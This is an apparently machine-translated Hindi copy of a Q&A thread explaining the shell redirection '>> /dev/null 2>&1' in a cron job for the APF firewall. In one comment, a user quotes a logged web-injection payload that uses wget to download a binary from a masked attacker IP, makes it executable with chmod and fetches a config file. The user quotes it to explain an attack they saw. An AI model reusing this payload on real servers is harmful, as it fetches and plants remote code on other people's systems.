क्या है / dev / null 2> & 1?


237

मुझे /etc/cron.daily/apf में कोड का यह टुकड़ा मिला

#!/bin/bash  
/etc/apf/apf -f >> /dev/null 2>&1  
/etc/apf/apf -s >> /dev/null 2>&1  

यह फ़ायरवॉल को फ्लशिंग और पुनः लोड कर रहा है।
मैं >> /dev/null 2>&1हिस्सा नहीं समझता ।

क्रोन में ऐसा करने का उद्देश्य क्या है? यह मेरे फ़ायरवॉल नियमों को ओवरराइड कर रहा है। क्या मैं सुरक्षित रूप से इस क्रॉन जॉब को हटा सकता हूं?


1
जानकारी के लिए: एक प्रक्रिया सायलेंसिंग का एक छोटा रास्ता है >&- 2>&-
ज़ाज

22
@ जोश: चीजों को पहले से ही अधिक गूढ़ बनाने के लिए क्यों?
एंडोलिथ

4
@ जोश संबंधित एफडी को बंद कर देता है, जिससे कार्यक्रम निरस्त हो सकते हैं।
ग्लोगल

1
के 2>&1 > /dev/nullरूप में ही है > /dev/null 2>&1 ? यह मुझे अधिक स्वाभाविक लगता है ...
edelans

6
@edelans No. इस तरह से stdout में stderr को पुनर्निर्देशित करता है, लेकिन तब केवल मूल stdout to /dev/null-stderr अभी भी आउटपुट होगा। Gist.github.com/zigg/344361751c0110419b0f
zigg

जवाबों:


354

>> /dev/nullमानक आउटपुट ( stdout) को रीडायरेक्ट करता है /dev/null, जो इसे दिखाता है।

( >>सतही लगता है, क्योंकि >>इसका मतलब है जोड़ जबकि >ट्रंकट और लिखना है, और या तो /dev/nullएक ही शुद्ध प्रभाव है या लिखने के लिए अपील कर रहा हूँ। मैं आमतौर पर सिर्फ >इस कारण के लिए उपयोग करता हूं ।)

2>&1 मानक त्रुटि को पुनर्निर्देशित करता है (2 ) से मानक आउटपुट ( 1) तक पहुंच जाता है, जो तब इसे छोड़ देता है और साथ ही मानक आउटपुट पहले से ही रीडायरेक्ट हो चुका होता है।


7
&प्रतीक वहां क्या दर्शाता है 2>&1
कोई नहीं

17
& फ़ाइल डिस्क्रिप्टर इंगित करता है। आमतौर पर 3 फ़ाइल डिस्क्रिप्टर होते हैं - मानक इनपुट, आउटपुट और त्रुटि।
परीक्षण123

1
@ कोई भी आपके प्रश्न के लिए नीचे दिए गए मेरे उत्तर की जांच नहीं करता है stackoverflow.com/questions/10508843/what-is-dev-null-21/…
Vishrant

1
यदि कोई फ़ाइल डिस्क्रिप्टर इंगित करता है तो 2 और उससे पहले कोई क्यों नहीं है?
user6708151

1
बस दूसरों के मामले में फाइल डिस्क्रिप्टर के नीचे दिए गए उत्तर को नहीं पढ़ें:When redirecting data streams, & means whatever follows is a file descriptor, not a filename.
Elysiumplain

199

आइए >> /dev/null 2>&1बयान को भागों में तोड़ते हैं :


भाग 1: >> आउटपुट पुनर्निर्देशन

इसका उपयोग प्रोग्राम आउटपुट को रीडायरेक्ट करने और आउटपुट को फ़ाइल के अंत में जोड़ने के लिए किया जाता है। अधिक...


भाग 2: /dev/null विशेष फ़ाइल

यह एक छद्म-उपकरण विशेष फ़ाइल है

कमांड ls -l /dev/nullआपको इस फाइल का विवरण देगा:

crw-rw-rw-. 1 root root 1, 3 Mar 20 18:37 /dev/null

आपने अवलोकन किया crw? जिसका अर्थ है कि यह एक छद्म डिवाइस फ़ाइल है जो कि चरित्र-विशेष-फ़ाइल प्रकार की है जो सीरियल एक्सेस प्रदान करती है।

/dev/nullसभी इनपुट स्वीकार करता है और डिस्क्राइब करता है; कोई आउटपुट नहीं देता (हमेशा एक रीड पर एक एंड-ऑफ़-फ़ाइल संकेत देता है)। संदर्भ: विकिपीडिया


भाग 3: 2>&1 फ़ाइल विवरणक

जब भी आप किसी प्रोग्राम को निष्पादित करते हैं, ऑपरेटिंग सिस्टम हमेशा तीन फाइलें खोलता है, मानक इनपुट, मानक आउटपुट, और मानक त्रुटि जब हम जानते हैं कि जब भी कोई फ़ाइल खोली जाती है, तो ऑपरेटिंग सिस्टम ( कर्नेल से ) एक गैर-नकारात्मक पूर्णांक देता है जिसे फ़ाइल विवरणक कहा जाता है । इन फ़ाइलों के लिए फ़ाइल डिस्क्रिप्टर क्रमशः 0, 1, और 2 हैं।

तो 2>&1बस मानक उत्पादन में मानक त्रुटि को पुनर्निर्देशित कहते हैं।

& इसका मतलब है कि जो कुछ भी है वह फाइल डिस्क्रिप्टर है, फ़ाइल नाम नहीं।

संक्षेप में, इस कमांड का उपयोग करके आप अपने प्रोग्राम को निष्पादित करते समय चिल्लाने के लिए नहीं कह रहे हैं।

उपयोग करने का महत्व क्या है 2>&1?

यदि आप किसी भी आउटपुट का उत्पादन नहीं करना चाहते हैं, यहां तक ​​कि टर्मिनल में उत्पन्न कुछ त्रुटि के मामले में भी। अधिक स्पष्ट रूप से समझाने के लिए, आइए निम्न उदाहरण पर विचार करें:

$ ls -l > /dev/null

उपरोक्त कमांड के लिए, टर्मिनल में कोई आउटपुट प्रिंट नहीं किया गया था, लेकिन क्या होगा यदि यह कमांड एक त्रुटि उत्पन्न करता है:

$ ls -l file_doesnot_exists > /dev/null
ls: cannot access file_doesnot_exists: No such file or directory

आउटपुट को रीडायरेक्ट करने के बावजूद /dev/null, इसे टर्मिनल में प्रिंट किया जाता है। यह इसलिए है क्योंकि हम त्रुटि आउटपुट को रीडायरेक्ट नहीं कर रहे हैं /dev/null, इसलिए त्रुटि आउटपुट को भी रीडायरेक्ट करने के लिए, इसे जोड़ना आवश्यक है 2>&1:

$ ls -l file_doesnot_exists > /dev/null 2>&1

2
अच्छा उदाहरण! पहले 'STDERR' को पुनर्निर्देशित नहीं करेंगे '>' नहीं जानते।
मियाओवांग

अच्छी तरह से समझाया! बहुत सूचनाप्रद। धन्यवाद। इससे मुझे उस वेब हमले को समझने में मदद मिलेगी जो मैं हाल ही में आया था। हमलावर POST अनुरोध के माध्यम से कुछ दुर्भावनापूर्ण कोड को इंजेक्ट कर रहा है जिसमें कोड का ऊपर टुकड़ा है।
सोहेल पठान

1
@Vishrant इंजेक्शन कोड इस प्रकार है: POST / उपयोगकर्ता / पासवर्ड; नाम [% 23post_render] [] = प्रणाली और नाम [% 23markup] = cd + / tmp; wget + -O + xm111 / xxx.xxx.xxx.xxx/xm111/chmod+777+777 xm111; wget + -O + config.json + http: /… / dev / null 2> & 1 & HTTP / 1.1 xxx.xxx.xxx.xxx हमलावर का आईपी है और इसे कई साइटों में अपमानजनक के रूप में भी सूचीबद्ध किया गया है। सबसे पहले और सबसे निवारक कदम आईपी को फ़ायरवॉल और साथ ही ऐसे आईपी के पैटर्न को अवरुद्ध करता है। होम पेज लोडिंग पर हमला थर्ड पार्टी वेबसाइट पर रीडायरेक्ट करना था। अपाचे सर्वर लॉग संदिग्ध आईपी और अनुरोध दिखाया।
सोहेल पठान

5
मैं सोच रहा था कि हम 2 के पहले भी 'और' का उपयोग क्यों नहीं कर रहे हैं। क्या कोई मेरे संदेह को साफ़ कर सकता है?
स्नेहाशीष कर्मकार

1
@ स्नेहाशीकर्माकर एक वैध प्रश्न। मेरा मानना ​​है कि OS यह समझने के लिए काफी स्मार्ट है कि पहला तर्क एक फाइल डिस्क्रिप्टर होगा, लेकिन >एक रीडायरेक्शन ऑपरेटर है, जो कुछ भी रीडायरेक्शन ऑपरेटर का अनुसरण करता है, उससे &पहले एक फाइल लोकेशन के शामिल होने की उम्मीद 1है, यह दर्शाता है कि यह एक फाइल नहीं है जहां एप्लिकेशन को आउटपुट रीडायरेक्ट करना है लेकिन एक फ़ाइल विवरणक। अगर कोई इस टिप्पणी का अधिक विवरण जोड़ सकता है तो मैं सराहना करूंगा।
विश्रांत

58

यह किसी प्रोग्राम को चुपचाप निष्पादित करने और उसके सभी आउटपुट को छिपाने का तरीका है।

/dev/nullएक विशेष फाइलसिस्टम ऑब्जेक्ट है जो इसमें लिखी गई हर चीज को डिस्क्राइब करता है। इसमें एक स्ट्रीम पुनर्निर्देशित करने का मतलब है कि आपके प्रोग्राम का आउटपुट छिपाना।

2>&1भाग का अर्थ है "उत्पादन धारा में त्रुटि धारा redirect", इसलिए जब आप उत्पादन धारा, रीडायरेक्ट कर त्रुटि धारा में अच्छी तरह से रीडायरेक्ट कर दिया जाता। यहां तक ​​कि अगर आपका प्रोग्राम stderrअब तक लिखता है , तो वह आउटपुट भी छोड़ दिया जाएगा।


37
वास्तव में, 2>&1वास्तव में पुनर्निर्देश stderrकरता है stdout। इसके और आपने जो दावा किया है, उसके बीच के अंतर को पुनर्निर्देश के क्रम को स्वैप करके सबसे अच्छा उदाहरण दिया गया है, जैसे 2>&1 >/dev/null
१४:

15

/dev/null एक मानक फ़ाइल है जो आपके द्वारा लिखे गए सभी को छोड़ती है, लेकिन रिपोर्ट करती है कि लेखन ऑपरेशन सफल रहा।

1 मानक उत्पादन है और 2 मानक त्रुटि है।

2>&1मानक त्रुटि को मानक आउटपुट पर पुनर्निर्देशित करता है। &1फ़ाइल डिस्क्रिप्टर (मानक आउटपुट) को इंगित करता है, अन्यथा (यदि आप बस उपयोग करते हैं 1) तो आप मानक त्रुटि को नाम की फ़ाइल में रीडायरेक्ट करेंगे 1[any command] >>/dev/null 2>&1सभी मानक त्रुटि को मानक आउटपुट पर पुनर्निर्देशित करता है, और उस सभी को लिखता है /dev/null


7

मैं उपयोग करता हूं >> /dev/null 2>&1 एक मूक क्रोनजोब के लिए । एक क्रोनजॉब काम करेगा, लेकिन मेरे ईमेल पर रिपोर्ट नहीं भेजेगा।

जहाँ तक मुझे पता है, हटाओ मत /dev/null। यह उपयोगी है, खासकर जब आप cPanel चलाते हैं , तो इसे थ्रॉ-दूर क्रोनजोब रिपोर्ट के लिए इस्तेमाल किया जा सकता है।


2

जैसा कि दूसरों द्वारा वर्णित किया गया है, / dev / null को लिखना किसी प्रोग्राम के आउटपुट को समाप्त कर देता है। आमतौर पर क्रोन एक क्रोनजोब के साथ शुरू होने वाली प्रक्रिया से हर आउटपुट के लिए एक ईमेल भेजता है। इसलिए आउटपुट को / dev / null में लिखकर यदि आप क्रोन में अपने एड्रेस को निर्दिष्ट करते हैं तो आप स्पैम होने से रोकते हैं।


0

संपादित करें /etc/conf.apf। सेट करें DEVEL_MODE="0"DEVEL_MODEसेट करने के लिए 15 मिनट के बाद एपीएफ को रोकने के लिए एक क्रॉन जॉब जोड़ देगा।

हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.